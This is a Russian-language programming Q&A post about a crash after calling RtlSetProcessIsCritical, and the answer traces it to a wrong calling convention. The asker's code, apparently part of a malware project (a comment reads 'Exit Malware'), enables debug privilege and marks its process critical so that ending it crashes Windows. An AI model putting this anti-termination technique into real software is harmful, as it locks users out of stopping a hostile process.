Если вызывается RtlSetProcessIsCritical, сравнение командной строки со значением с помощью lstrcmpW приведет к сбою программы - PullRequest
0 голосов
/ 19 сентября 2019

Я сейчас работаю над большим проектом, и у меня возникла странная проблема.Как гласит заголовок, я вызываю функцию RtlSetProcessIsCritical, а затем пытаюсь выделить кодовый блок, если второй аргумент из командной строки совпадает с предустановленным значением, используя lstrcmpW.

Восстановленный код из моегопроект, который проецирует структуру

Основной Cpp-файл:

int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow) {
    int nArgs;
    LPWSTR* szArglist = CommandLineToArgvW(GetCommandLine(), &nArgs);

    // Check if ArgumentList was Created, if not: Exit Malware
    if (!szArglist) {
        MessageBox(NULL, L"Couldn't parse Commandline", L"CommandLineToArgvW", MB_OK | MB_SYSTEMMODAL | MB_ICONERROR);
        ExitProcess(EXIT_FAILURE);
    }

    if (nArgs > 1) {
        if (!lstrcmp(szArglist[1], L"/exec") {
            // Some Code here...
        } else if (!lstrcmp(szArglist[1], L"/host")) {
            // Some Code here...

            if (NTImportDLLFUNC()) {
                if (NTSetProcessIsCritical(TRUE)) {
                    // Debug Message
                    MessageBox(NULL, L"HostProcess is now Critical", L"N0T-iLLerka.X", MB_OK | MB_SYSTEMMODAL | MB_ICONWARNING);
                }
            }

            if (nArgs > 2) {
                if (!lstrcmp(szArglist[2], L"/init")) {
                    // Some Code here...
                }
            }
            // Deadlock here
        }
    }
// Some Code here...
}

Файл утилит:

#define OPTION_SHUTDOWN_SYSTEM 6
#define SE_DEBUG_PRIVILEGE 20

typedef NTSTATUS(CALLBACK* pRTLADJUSTPRIVILEGE)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
pRTLADJUSTPRIVILEGE RtlAdjustPrivilege;
typedef NTSTATUS(CALLBACK* pRTLSETPROCESSISCRITICAL)(BOOLEAN, BOOLEAN*, BOOLEAN);
pRTLSETPROCESSISCRITICAL RtlSetProcessIsCritical;

bool NTImportDLLFUNC() {
    HINSTANCE hNtdll = LoadLibrary(L"ntdll.dll");
    if (hNtdll) {
        RtlAdjustPrivilege = (pRTLADJUSTPRIVILEGE)GetProcAddress(hNtdll, "RtlAdjustPrivilege");
        if (!RtlAdjustPrivilege) {
            MessageBox(NULL, L"\"RtlAdjustPrivilege\" is invalid", L"GetProcAddress", MB_OK | MB_SYSTEMMODAL | MB_ICONERROR);
            FreeLibrary(hNtdll);
            return FALSE;
        }

        RtlSetProcessIsCritical = (pRTLSETPROCESSISCRITICAL)GetProcAddress(hNtdll, "RtlSetProcessIsCritical");
        if (!RtlSetProcessIsCritical) {
            MessageBox(NULL, L"\"RtlSetProcessIsCritical\" is invalid", L"GetProcAddress", MB_OK | MB_SYSTEMMODAL | MB_ICONERROR);
            FreeLibrary(hNtdll);
            return FALSE;
        }
    } else {
        MessageBox(NULL, L"Couldn't load \"ntdll.dll\"", L"N0T-iLLerka.X", MB_OK | MB_SYSTEMMODAL | MB_ICONERROR);
        return FALSE;
    }

    FreeLibrary(hNtdll);
    return TRUE;
}

bool NTSetProcessIsCritical(BOOLEAN blIscritical) {
    BOOLEAN bl;
    if (!RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &bl)) {
        if (!RtlSetProcessIsCritical(blIscritical, NULL, FALSE)) {
            return TRUE;
        } else {
            MessageBox(NULL, L"Couldn't set Process Critical", L"RtlSetProcessIsCritical", MB_OK | MB_SYSTEMMODAL | MB_ICONERROR);
            return FALSE;
        }
    } else {
        MessageBox(NULL, L"Couldn't set Debug Privileges", L"RtlAdjustPrivilege", MB_OK | MB_SYSTEMMODAL | MB_ICONERROR);
        return FALSE;
    }

    return FALSE;
}

Проблема теперь в том, что когда я позвонилRtlSetProcessIsCritical (неважно, что он получает) и командный аргумент get сравнивают сбои приложения, однако если я не вызову RtlSetProcessIsCritical, программа работает без сбоев по любой причине.

Я имеюобнаружил, что проблема между функцией RtlSetProcessIsCritical и этой строкой if (!lstrcmp(szArglist[2], L"/init")) {

Я также пытался воспроизвести эту «ошибку» в другом проекте с таким же составом кода, но там он работал без нареканийи теперь у меня нет идей.

Если вам нужен остальной код, вы можете прочитать его на моем Github, ссылки на 2 файла:

Main Cpp

Утилиты Cpp

(В основном файле на моем Github вызов RtlSetProcessIsCritical идет после оператора if.Это временно, это был просто быстрый обходной путь, так что я могу хотя бы протестировать остальную часть программного обеспечения.В версии выпуска это должно быть в ранее описанном порядке!)

1 Ответ

1 голос
/ 19 сентября 2019

объявление

typedef NTSTATUS(CALLBACK* pRTLSETPROCESSISCRITICAL)(BOOLEAN, BOOLEAN*, BOOLEAN);

неверно.правильное определение функции:

NTSYSAPI
NTSTATUS
STDAPIVCALLTYPE
RtlSetProcessIsCritical(
    _In_ BOOLEAN NewValue,
    _Out_opt_ PBOOLEAN OldValue,
    _In_ BOOLEAN CheckFlag
    );

, это STDAPIVCALLTYPE - то же самое, что __cdecl, а не CALLBACK (он же __stdcall).это очень редкое исключение для ntdll api.конечно для x64 не отличается, так что я уверен, что ваш код x86 .в результате ваш стек после вызова RtlSetProcessIsCritical неверен

в качестве примечания - вам не нужны LoadLibrary и GetProcAddress (интересно - как вы можете позвонить GetProcAddress без первого вызова и GetProcAddress(LoadLibrary("kernel32"), "GetProcAddress")?)Существуют ntdll.lib и ntdllp.lib - просто ссылка с ним.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...